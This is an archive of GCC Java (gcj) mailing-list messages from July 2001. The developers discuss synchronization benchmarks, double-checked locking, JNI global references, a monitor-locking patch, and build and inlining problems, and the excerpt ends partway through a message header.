<20010724104721.YKXY5720334.mta3-rme.xtra.co.nz@kiteless> X-Zippy: My nose feels like a bad Ronald Reagan movie... X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 24 Jul 2001 12:59:55 -0600 In-Reply-To: Bryce McKinlay's message of "Tue, 24 Jul 2001 22:49:30 +1200" Message-ID: <87snfmrw44.fsf@creche.redhat.com> Lines: 19 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Bryce" == Bryce McKinlay writes: Bryce> Here's an interesting article about the costs of syncronization. Bryce> Especially interesting because GCJ gets mentioned in the performance Bryce> tests: Bryce> http://www-106.ibm.com/developerworks/java/library/j-threads1.html They use gcj 3.0, which, while a reasonable choice, also will show more overhead than 3.1. If you follow the `discussion' link you'll see a comment from our own AG and a response from the paper's author, both about the gcj results. Also, they mention something that I've been meaning to address for a while: double-check locking. We use this in libgcj, but everything I've read says it is inherently broken. We should probably go through libgcj and remove the instances of it. Tom From java-return-6584-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 18:47:00 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12836 invoked by alias); 24 Jul 2001 18:47:00 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12731 invoked from network); 24 Jul 2001 18:46:56 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 24 Jul 2001 18:46:56 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 790924; Tue, 24 Jul 2001 11:50:25 -0700 Message-ID: <3B5DC2DC.A1A56F10@wireless-networks.com> Date: Tue, 24 Jul 2001 11:47:56 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: tromey@redhat.com CC: Jeff Sturm , "Marcus G. Daniels" , java@gcc.gnu.org Subject: Re: JNI global refs References: <87zo9u17w4.fsf@creche.redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit > Jeff> The ref_table will store only one instance of this class. > Jeff> I think ref_table should hash its objects by address, or something... > > I've been thinking about this recently. > I agree with what you say. > We need to use object identity, and not equals() or hashCode(), as the > basis for comparisons here. > > One way we could do this is to make a copy of Hashtable which uses, > say, System.identityHashCode and `=='. This would mean copying a lot > of code though. I'm reluctant to do this. JDK 1.4 defines such a hashtable: http://java.sun.com/j2se/1.4/docs/api/java/util/IdentityHashMap.html Cedric From java-return-6585-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 20:34:51 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19421 invoked by alias); 24 Jul 2001 20:34:50 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19351 invoked from network); 24 Jul 2001 20:34:41 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 24 Jul 2001 20:34:41 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA18649; Tue, 24 Jul 2001 14:34:37 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id PAA29005; Tue, 24 Jul 2001 15:00:58 -0600 To: Bryce McKinlay Cc: java@gcc.gnu.org Subject: Re: Synchronization article on developerWorks References: <20010724104721.YKXY5720334.mta3-rme.xtra.co.nz@kiteless> X-Zippy: Fold, fold, FOLD!! FOLDING many items!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 24 Jul 2001 15:00:57 -0600 In-Reply-To: Bryce McKinlay's message of "Tue, 24 Jul 2001 22:49:30 +1200" Message-ID: <87n15u3uuu.fsf@creche.redhat.com> Lines: 157 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Bryce" == Bryce McKinlay writes: Bryce> Here's an interesting article about the costs of Bryce> syncronization. Especially interesting because GCJ gets Bryce> mentioned in the performance tests: Bryce> http://www-106.ibm.com/developerworks/java/library/j-threads1.html I ran the appended test against gcj 3.0 and 3.1. Each time I compiled with -O. Then I removed `synchronized' and re-ran. I forget offhand how my trees are built (debug or not). Maybe these results are invalid :-(. Though really it would only affect the hashmapGet and create tests. 3.0no 3.0sync 3.1no 3.1sync ================================================================ empty 1.0 33.0 0.82 26.7 (32.5) staticEmpty 1.0 13.1 0.65 9.8 (15.2) fetch 1.0 31.1 0.84 25.1 (29.9) singleton 1.0 23.9 1.0 20.1 (20.1) hashmapGet 1.0 2.3 1.1 2.1 ( 2.0) create 1.0 2.1 0.86 1.8 ( 2.1) The numbers in parens are 3.1-with-sync relative to 3.1-no-sync. Raw data is at the end. 3.1 is generally better than 3.0 (not sure why). However, I expected more dramatic results from 3.1-with-sync. Tom import java.util.*; public class bench { public static final int COUNT = 10000000; public Object field; public static Object singletonField; public HashMap hashMap; public synchronized static void staticEmpty() { } public synchronized void empty() { } public synchronized Object fetch() { return field; } public synchronized Object singleton() { if (singletonField == null) singletonField = new Object(); return singletonField; } public synchronized Object hashmapGet() { return hashMap.get("this"); } public synchronized Object create() { return new Object(); } public bench () { field = new Object (); hashMap = new HashMap (); hashMap.put ("this", this); } public void output (String what, long t1, long t2) { System.out.println (what + " = " + (t2 - t1)); } public void test () { long t1 = System.currentTimeMillis (); for (int i = 0; i < COUNT; ++i) empty (); long t2 = System.currentTimeMillis (); output ("empty", t1, t2); t1 = System.currentTimeMillis (); for (int i = 0; i < COUNT; ++i) staticEmpty (); t2 = System.currentTimeMillis (); output ("staticEmpty", t1, t2); t1 = System.currentTimeMillis (); for (int i = 0; i < COUNT; ++i) fetch (); t2 = System.currentTimeMillis (); output ("fetch", t1, t2); t1 = System.currentTimeMillis (); for (int i = 0; i < COUNT; ++i) singleton (); t2 = System.currentTimeMillis (); output ("singleton", t1, t2); t1 = System.currentTimeMillis (); for (int i = 0; i < COUNT; ++i) hashmapGet (); t2 = System.currentTimeMillis (); output ("hashmapGet", t1, t2); t1 = System.currentTimeMillis (); for (int i = 0; i < COUNT; ++i) create (); t2 = System.currentTimeMillis (); output ("create", t1, t2); } public static void main (String[] args) { new bench ().test (); } } gcc3.0 -O no sync empty = 383 staticEmpty = 1074 fetch = 414 singleton = 522 hashmapGet = 9498 create = 11084 gcc3.1 -O no sync empty = 315 staticEmpty = 695 fetch = 348 singleton = 522 hashmapGet = 10448 create = 9561 gcc3.0 -O sync empty = 12649 staticEmpty = 14121 fetch = 12859 singleton = 12482 hashmapGet = 21892 create = 23276 gcc3.1 -O sync empty = 10230 staticEmpty = 10573 fetch = 10402 singleton = 10493 hashmapGet = 20404 create = 19779 From java-return-6586-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 20:36:23 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20078 invoked by alias); 24 Jul 2001 20:36:22 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20001 invoked from network); 24 Jul 2001 20:36:16 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 24 Jul 2001 20:36:16 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id OAA18971; Tue, 24 Jul 2001 14:36:09 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id PAA29024; Tue, 24 Jul 2001 15:02:30 -0600 To: Cedric Berger Cc: Jeff Sturm , "Marcus G. Daniels" , java@gcc.gnu.org Subject: Re: JNI global refs References: <87zo9u17w4.fsf@creche.redhat.com> <3B5DC2DC.A1A56F10@wireless-networks.com> X-Zippy: Just to have MORE FUN, I'll pretend I am JAMES CAGNEY and I am having a tense, UP-TIGHT EXPERIENCE!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 24 Jul 2001 15:02:25 -0600 In-Reply-To: Cedric Berger's message of "Tue, 24 Jul 2001 11:47:56 -0700" Message-ID: <87k80y3use.fsf@creche.redhat.com> Lines: 8 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Cedric" == Cedric Berger writes: Cedric> JDK 1.4 defines such a hashtable: Cedric> http://java.sun.com/j2se/1.4/docs/api/java/util/IdentityHashMap.html Thanks! I'll probably take this route then. Tom From java-return-6587-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 22:41:20 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 10327 invoked by alias); 24 Jul 2001 22:41:19 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 10298 invoked from network); 24 Jul 2001 22:41:18 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 24 Jul 2001 22:41:18 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id SAA18581; Tue, 24 Jul 2001 18:47:08 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Tue, 24 Jul 2001 18:47:08 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Tom Tromey cc: Bryce McKinlay , java@gcc.gnu.org Subject: Re: Synchronization article on developerWorks In-Reply-To: <87n15u3uuu.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 24 Jul 2001, Tom Tromey wrote: > 3.1 is generally better than 3.0 (not sure why). However, I expected > more dramatic results from 3.1-with-sync. Using your bench.java, I see similar results on alpha, e.g. a factor of 22/18 for 3.0.1/3.1 in the empty call. I don't understand how this author got the results he did. It doesn't look like he made his source available. These locks have no contention though. On a test program with high contention I observed a 2-3x speedup with hash synchronization. Jeff From java-return-6588-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 23:09:37 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 884 invoked by alias); 24 Jul 2001 23:09:36 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 842 invoked from network); 24 Jul 2001 23:09:33 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 24 Jul 2001 23:09:33 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id QAA11676; Tue, 24 Jul 2001 16:09:09 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f6ON9P024211; Tue, 24 Jul 2001 16:09:30 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Tue, 24 Jul 2001 16:09:25 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id ; Tue, 24 Jul 2001 16:09:24 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5F59@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'Jeff Sturm'" , Tom Tromey Cc: Bryce McKinlay , java@gcc.gnu.org Subject: RE: Synchronization article on developerWorks Date: Tue, 24 Jul 2001 16:09:16 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" I just tried Tom's program on my Pentium II/300 running RH6.2. I see a bigger difference between 3.0 and 3.1. I have some local changes in my tree, but I don't think they effect the empty or staticEmpty test. There are several reasons synchronization might be cheaper in 3.1: 1) The common path is a bit shorter. 2) There is 1 word less space overhead per object. 3) A simple uncontested synchronization doesn't allocate a structure. 4) Contended synchronization might be handled better. If so linuxthreads should really do the same. I suspect linuxthreads has gotten better recently. This may have reduced the effect of (1) and (4) as you go to more recent Linux distributions. That's good. We should all thank Ulrich Drepper. Advantages (2) and (3) are not exercised here, though they are by things like frequent use of StringBuffer. Wild conjecture: The developerWorks results are from a gcj build that has threads disabled? Isn't that still the default? Hans > -----Original Message----- > From: Jeff Sturm [mailto:jsturm@one-point.com] > Sent: Tuesday, July 24, 2001 3:47 PM > To: Tom Tromey > Cc: Bryce McKinlay; java@gcc.gnu.org > Subject: Re: Synchronization article on developerWorks > > > > > On 24 Jul 2001, Tom Tromey wrote: > > 3.1 is generally better than 3.0 (not sure why). However, > I expected > > more dramatic results from 3.1-with-sync. > > Using your bench.java, I see similar results on alpha, e.g. a > factor of > 22/18 for 3.0.1/3.1 in the empty call. > > I don't understand how this author got the results he did. It doesn't > look like he made his source available. > > These locks have no contention though. On a test program with high > contention I observed a 2-3x speedup with hash synchronization. > > Jeff > From java-return-6589-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 23:14:34 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4116 invoked by alias); 24 Jul 2001 23:14:34 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4084 invoked from network); 24 Jul 2001 23:14:32 -0000 Received: from unknown (HELO mta4-rme.xtra.co.nz) (203.96.92.15) by sourceware.cygnus.com with SMTP; 24 Jul 2001 23:14:32 -0000 Received: from kiteless ([210.54.222.141]) by mta4-rme.xtra.co.nz with ESMTP id <20010724231430.FOVP4145347.mta4-rme.xtra.co.nz@kiteless>; Wed, 25 Jul 2001 11:14:30 +1200 Date: Wed, 25 Jul 2001 11:16:41 +1200 From: Bryce McKinlay Content-Type: text/plain; format=flowed; charset=us-ascii Subject: Re: Synchronization article on developerWorks Cc: Tom Tromey , java@gcc.gnu.org To: Jeff Sturm X-Mailer: Apple Mail (2.388) In-Reply-To: Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit Message-Id: <20010724231430.FOVP4145347.mta4-rme.xtra.co.nz@kiteless> On Wednesday, July 25, 2001, at 10:47 AM, Jeff Sturm wrote: > I don't understand how this author got the results he did. It doesn't > look like he made his source available. Trying to measure the cost of synchronization by timing a synchronized vs un-synchronized call means very little anyhow. A better test would be to measure the performance of some real-world single-threaded application with synchronization enabled vs the same application with syncronization removed. Of course, turning off synchronization is not easy with most JVMs. regards Bryce. From java-return-6590-listarch-java=gcc.gnu.org@gcc.gnu.org Tue Jul 24 23:16:06 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4952 invoked by alias); 24 Jul 2001 23:16:06 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4919 invoked from network); 24 Jul 2001 23:16:05 -0000 Received: from unknown (HELO mta6-rme.xtra.co.nz) (203.96.92.19) by sourceware.cygnus.com with SMTP; 24 Jul 2001 23:16:05 -0000 Received: from kiteless ([210.54.222.141]) by mta6-rme.xtra.co.nz with ESMTP id <20010724231603.NYO4721222.mta6-rme.xtra.co.nz@kiteless>; Wed, 25 Jul 2001 11:16:03 +1200 Date: Wed, 25 Jul 2001 11:18:11 +1200 From: Bryce McKinlay Content-Type: text/plain; format=flowed; charset=us-ascii Subject: Re: Synchronization article on developerWorks Cc: java@gcc.gnu.org To: tromey@redhat.com X-Mailer: Apple Mail (2.388) In-Reply-To: <87snfmrw44.fsf@creche.redhat.com> Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit Message-Id: <20010724231603.NYO4721222.mta6-rme.xtra.co.nz@kiteless> On Wednesday, July 25, 2001, at 06:59 AM, Tom Tromey wrote: > Also, they mention something that I've been meaning to address for a > while: double-check locking. We use this in libgcj, but everything > I've read says it is inherently broken. We should probably go through > libgcj and remove the instances of it. Yeah :( Does GCJ ever write a newly allocated object to the heap before initializing/constructing it completely? regards Bryce. From java-return-6591-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 00:39:50 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 31818 invoked by alias); 25 Jul 2001 00:39:49 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 31792 invoked from network); 25 Jul 2001 00:39:48 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 25 Jul 2001 00:39:48 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15PCiI-0003yh-00 for ; Wed, 25 Jul 2001 01:39:46 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Wed, 25 Jul 2001 01:42:07 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Wed, 25 Jul 2001 01:34:41 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: Frustrated (with builds) of Tunbridge Wells Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline I'm tring to get a version of GCJ working that includes some of the latest class additions (eg: Package and some of the ClassLoader changes). In order to do this I upgraded my working-dir to the cvs HEAD but with that setup gij doesn't work. Does anyone have any advice on what I should do to get a working gij and the latest additions? Nic From java-return-6592-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 04:57:35 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22540 invoked by alias); 25 Jul 2001 04:57:32 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22520 invoked from network); 25 Jul 2001 04:57:31 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 25 Jul 2001 04:57:31 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id BAA26045; Wed, 25 Jul 2001 01:04:02 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Wed, 25 Jul 2001 01:04:02 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: "Boehm, Hans" cc: Tom Tromey , Bryce McKinlay , java@gcc.gnu.org Subject: RE: Synchronization article on developerWorks In-Reply-To: <140D21516EC2D3119EE7009027876644049B5F59@hplex1.hpl.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 24 Jul 2001, Boehm, Hans wrote: > I just tried Tom's program on my Pentium II/300 running RH6.2. I see a > bigger difference between 3.0 and 3.1. I have some local changes in my > tree, but I don't think they effect the empty or staticEmpty test. I noticed the tests vary considerably between runs. Also, the asserts in natObject.cc are not disabled; that helps a bit. Dynamic linking incurs some cost that a JIT can probably eliminate. > 4) Contended synchronization might be handled better. If so linuxthreads > should really do the same. Last I checked, linuxthreads didn't spin on a mutex... after one test_and_set failure it falls into a nanosleep. That may have changed in newer releases. I'm curious if the path for reentrant monitors couldn't be shortened somewhat. In _Jv_MonitorExit we have if (__builtin_expect(light_thr_id == self, true)) { count = he -> light_count; if (__builtin_expect((address & ~HEAVY) == addr, true)) { if (count != 0) { // We held the lightweight lock all along. Thus the values // we saw for light_thr_id and light_count must have been // valid. he -> light_count = count - 1; return; No compare_and_swap here. I guess if a thread evaluates "light_thr_id == self" true it knows it holds the lock. Why can't _Jv_MonitorEnter do the same and potentially avoid the CAS? Am I missing something? Index: natObject.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natObject.cc,v retrieving revision 1.17 diff -u -r1.17 natObject.cc --- natObject.cc 2001/07/23 03:51:17 1.17 +++ natObject.cc 2001/07/25 04:46:49 @@ -768,8 +769,8 @@ assert(!(addr & FLAGS)); retry: - if (__builtin_expect(compare_and_swap(&(he -> address), - 0, addr),true)) + if (__builtin_expect (he->light_thr_id != self + && compare_and_swap(&(he -> address), 0, addr), true)) { assert(he -> light_thr_id == INVALID_THREAD_ID); assert(he -> light_count == 0); From java-return-6593-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 05:24:13 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28492 invoked by alias); 25 Jul 2001 05:23:58 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28472 invoked from network); 25 Jul 2001 05:23:52 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 25 Jul 2001 05:23:52 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6P5PxW18938 for ; Wed, 25 Jul 2001 17:25:59 +1200 Message-ID: <3B5E58B8.7F5EB7E8@waitaki.otago.ac.nz> Date: Wed, 25 Jul 2001 17:27:20 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: java@gcc.gnu.org Subject: make not stopping on errors Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I noticed that the libjava makefile (mainline) seems to have reverted to its old behavior of not stopping when a compiler error is encountered during the source->.class phase :(. Anyone else see this problem? regards Bryce. From java-return-6594-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 09:14:51 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13628 invoked by alias); 25 Jul 2001 09:14:50 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13480 invoked from network); 25 Jul 2001 09:14:46 -0000 Received: from unknown (HELO mail.redhat.com) (199.183.24.239) by sourceware.cygnus.com with SMTP; 25 Jul 2001 09:14:46 -0000 Received: from saturn.hollstein.net (t2.redhat.com [199.183.24.243]) by mail.redhat.com (8.11.0/8.8.7) with ESMTP id f6P989g14534; Wed, 25 Jul 2001 05:08:12 -0400 Received: from gmx.net (saturn.hollstein.net [192.168.5.11]) by saturn.hollstein.net (8.11.2/8.11.2) with ESMTP id f6P9EFG23089; Wed, 25 Jul 2001 11:14:19 +0200 Message-ID: <3B5E8DE7.348B728C@gmx.net> Date: Wed, 25 Jul 2001 11:14:15 +0200 From: Manfred Hollstein Reply-To: manfred.h@gmx.net X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.3-12 i686) X-Accept-Language: en-US, en-GB, en, de MIME-Version: 1.0 To: Jeff Sturm CC: gcc-bugs@gcc.gnu.org, java@gcc.gnu.org Subject: Re: [java, 3.0.1]: BUG: Unresolved symbols with -O3 and higher References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff Sturm wrote: > > On Tue, 24 Jul 2001, Manfred Hollstein wrote: > > Funnily, the methods in question are used _and_ defined (in Java source > > code, but obviously not emitted) in the corresponding .java file. Using > > "-O2" (ie. no automatic function inlining) doesn't show this problem. > > "-fkeep-inline-functions" should be a viable workaround. Thanks for your help. I just re-ran the build/check with this flag added to GCJFLAGS and using -O3 instead of the former -O2, and succeeded this time; results were the same as the reported ones at > I'll argue this should be the default for gcj, due to reflection. In fact > the behavior of the program below changes when compiled with/without > -fkeep-inline-functions: What do other Java experts suggest here? > import java.lang.reflect.Method; > > public class Junk { > private void junk() { > System.out.println("junk"); > } > > public static void main(String[] args) { > try { > Junk junk = new Junk(); > Method[] meths = junk.getClass().getDeclaredMethods(); > for (int n = 0; n < meths.length; n++) > System.out.println(meths[n]); > } catch (Throwable t) { > t.printStackTrace(); > } > } > } Cheers. l8er manfred From java-return-6595-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 15:08:24 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17471 invoked by alias); 25 Jul 2001 15:08:23 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 17394 invoked from network); 25 Jul 2001 15:08:18 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 25 Jul 2001 15:08:18 -0000 Received: from locutus (locutus.cygnus.com [205.180.230.91]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with SMTP id IAA16847; Wed, 25 Jul 2001 08:08:11 -0700 (PDT) Message-ID: <000901c1151b$feb59d60$5be6b4cd@cygnus.com> From: "Anthony Green" To: , "Bryce McKinlay" Cc: References: <20010724104721.YKXY5720334.mta3-rme.xtra.co.nz@kiteless> <87snfmrw44.fsf@creche.redhat.com> Subject: Re: Synchronization article on developerWorks Date: Wed, 25 Jul 2001 07:03:31 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Tom wrote: > If you follow the `discussion' link you'll see a comment from our own > AG and a response from the paper's author, both about the gcj results. To be honest, I was just parroting comments made by Hans in private email last week after I pointed out the article to him :-) AG From java-return-6596-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 15:59:28 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 11798 invoked by alias); 25 Jul 2001 15:59:28 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 11679 invoked from network); 25 Jul 2001 15:59:20 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 25 Jul 2001 15:59:20 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA30461; Wed, 25 Jul 2001 09:58:15 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA31648; Wed, 25 Jul 2001 10:24:49 -0600 To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Re: Frustrated (with builds) of Tunbridge Wells References: X-Zippy: Should I start with the time I SWITCHED personalities with a BEATNIK hair stylist or my failure to refer five TEENAGERS to a good OCULIST? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 25 Jul 2001 10:24:49 -0600 In-Reply-To: "Nic Ferrier"'s message of "Wed, 25 Jul 2001 01:34:41 +0100" Message-ID: <87ae1t3rji.fsf@creche.redhat.com> Lines: 9 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Nic" == Nic Ferrier writes: Nic> In order to do this I upgraded my working-dir to the cvs HEAD but Nic> with that setup gij doesn't work. How does it fail? I wasn't aware that it didn't work on the trunk. Tom From java-return-6597-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 25 16:02:33 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13989 invoked by alias); 25 Jul 2001 16:02:33 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13946 invoked from network); 25 Jul 2001 16:02:32 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 25 Jul 2001 16:02:32 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA31193; Wed, 25 Jul 2001 10:02:28 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA01837; Wed, 25 Jul 2001 10:29:02 -0600 To: Bryce McKinlay Cc: java@gcc.gnu.org Subject: Re: make not stopping on errors References: 